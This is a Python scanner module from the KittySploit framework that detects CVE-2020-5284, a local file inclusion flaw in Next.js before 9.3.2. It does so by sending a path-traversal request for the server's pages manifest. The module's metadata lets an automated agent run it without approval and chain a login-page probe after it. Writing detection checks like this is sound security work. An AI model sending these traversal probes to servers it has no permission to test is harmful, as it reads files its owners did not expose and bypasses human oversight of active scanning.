Next.js <9.3.2 - Local File Inclusion Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Next."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Next.js <9.3.2 - Local File Inclusion Detection',
        'description': 'Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'nextjs', 'lfi', 'zeit', 'vuln', 'vkev'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/zeit/next.js/releases/tag/v9.3.2',
            'https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-5284',
            'https://github.com/Z0fhack/Goby_POC',
        ],
        'cve': 'CVE-2020-5284',
    }

    def run(self):
        r = self.http_request(method="GET", path='/_next/static/../server/pages-manifest.json', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        server = r.headers.get("Server") or r.headers.get("server") or ""
        header_any = ('application/json',)
        body_regexes = ('\\{"/_app":".*?_app\\.js"',)
        if (any(m in headers for m in header_any)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="Next.js <9.3.2 - Local File Inclusion detected",
                path='/_next/static/../server/pages-manifest.json',
            )
            return True
        return False